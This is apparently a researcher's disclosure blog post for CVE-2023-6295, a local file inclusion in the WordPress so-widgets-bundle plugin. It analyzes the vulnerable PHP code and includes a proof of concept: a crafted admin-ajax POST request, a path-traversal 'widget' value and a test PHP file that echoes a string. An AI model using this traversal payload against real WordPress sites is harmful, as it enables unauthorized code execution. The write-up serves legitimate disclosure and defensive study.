CVE-2023-6295: so-widgets-bundle < 1.51.0 - Admin+ Local File Inclusion
In this blog post I'll describe the details of CVE-2023-6295, a local file inclusion in WordPress' so-widgets-bundle plugin.
First of all, this vulnerability is only exploitable in multi-site WordPress installations as an subsite administrator.
The API function so_widgets_bundle_manage
takes the parameter widget
and eventually passes the value to include_once
. However, it's exploitability requires the existence of specific folders and files.
Theory
Let's track down the vulnerability!
In so-widgets-bundle/so-widgets-bundle.php
the constructor defines the API function: add_action( 'wp_ajax_so_widgets_bundle_manage', array( $this, 'admin_ajax_manage_handler' ) );
. The function admin_ajax_manage_handler
looks like this:
if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'manage_so_widget' ) ) {
wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
}
if ( ! current_user_can( apply_filters( 'siteorigin_widgets_admin_menu_capability', 'manage_options' ) ) ) {
wp_die( __( 'Insufficient permissions.', 'so-widgets-bundle' ), 403 );
}
if ( empty( $_POST['widget'] ) ) {
wp_die( __( 'Invalid post.', 'so-widgets-bundle' ), 400 );
}
if ( ! empty( $_POST['active'] ) ) {
$this->activate_widget( $_POST['widget'] );
} else {
$this->deactivate_widget( $_POST['widget'] );
}
It first correctly verifies the nonce, checks for the manage_options
permission and that the parameter widget
is not empty. Then it passes the value of it to either $this->activate_widget
or $this->deactivate_widget
depending on the active
parameter.
Both functions use similar functionality to activate or deactivate widgets:
public function activate_widget( $widget_id, $include = true ) {
$exists = false;
$widget_folders = $this->get_widget_folders();
foreach ( $widget_folders as $folder ) {
if ( ! file_exists( $folder . $widget_id . '/' . $widget_id . '.php' ) ) {
continue;
}
$exists = true;
}
if ( ! $exists ) {
return false;
}
[...]
// If we don't want to include the widget files, then our job here is done.
if ( ! $include ) {
return;
}
[...]
In the first part of the function, the for-loop iterates over all widget folders and checks for the existance of the path $folder . $widget_id . '/' . $widget_id . '.php'
. The attacker controls the $widget_id
(which equals the widget
parameter).
A few lines later there is a check for $include
parameter, but this one is luckily set to $include = true
in the function's arguments.
Again, a few lines later the magic happens:
foreach ( $widget_folders as $folder ) {
if ( ! file_exists($folder . $widget_id . '/' . $widget_id . '.php' ) ) {
continue;
}
include_once $folder . $widget_id . '/' . $widget_id . '.php';
global $wp_widget_factory;
if ( has_action('widgets_init' ) || ! empty( $wp_widget_factory ) ) {
SiteOrigin_Widgets_Widget_Manager::single()->widgets_init();
}
}
This loop is similar to the previous one, except that upon an existing file, it is passed to include_once
, which will interpret contained PHP code.
The only interesting thing, which is also a drawback for exploitation, is that the file path consists of $widget_id . '/' . $widget_id . '.php'
. Thus, a path traversal payload, such as ../../test
will be duplicated: ../../test/../../test.php
.
Unfortunately, file_exists
does not resolve the file path, so just using enough '../../' does not work. Except, when there is a PHP file with a equally named directory (except the .php
suffix) next to it, such as in wp-admin/
:
root@9255d920a415:/var/www/html# ls -l wp-admin/ | grep ' network*'
drwxr-xr-x 2 www-data www-data 4096 Nov 9 00:45 network
-rw-r--r-- 1 www-data www-data 5482 Feb 23 2023 network.php
Proof of Concept
In order to exploit this issue, first create a multi-site WordPress instance and create a new subsite with a separate non-superadmin user. Then install the vulnerable version of the plugin, i.e., using wp-cli.phar plugin install so-widgets-bundle --version=1.50.1
.
Now login as the subsite administrator and navigate to the SiteOrigin menue and click activate on any widget. This should trigger a POST request with a valid nonce to the WordPress backend:
POST /site2/wp-admin/admin-ajax.php?action=so_widgets_bundle_manage&_wpnonce=f29efd46d6 HTTP/1.1
Host: localhost
Content-Length: 25
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [Cookies]
Connection: close
widget=accordion&active=0
For testing purposes, we can also create a special tmp.php
in /tmp
with our exploit code:
mkdir /tmp/tmp
echo "<?php echo 'foohacked'; ?>" > /tmp/tmp.php
Chaning the widget
parameter to widget=../../../../../../../../../../../../../../../../../tmp/tmp
will then execute the /tmp/tmp.php
file as seen below:
To load the network.php
from the wp-admin/
directory, the attacker could use the following widget
parameter: ../../../../../../../../../../../../../proc/self/cwd/network
, but unfortunately this results in a 5xx error.
Overall, for a successful exploit, this would require the attacker to place their payload-PHP file next to a special directory. Luckily there are many directories already present in a WordPress directory, and the wp-content/uploads/
directory will create new directories for file uploads, i.e. uploads/2023/12/11/
. But, without additional plugins, there is no way to move uploaded files next to an equally named directory.
Timeline
- 2023.06.28 - Initial discovery
- 2023.07.03 - Report to plugin developers
- 2023.07.15 - New version released
- 2023.11.22 - Report to WPScan to assign CVE-ID
- 2023.11.24 - Vulnerability acknowledged and CVE assigned
- 2023.12.11 - Public disclosure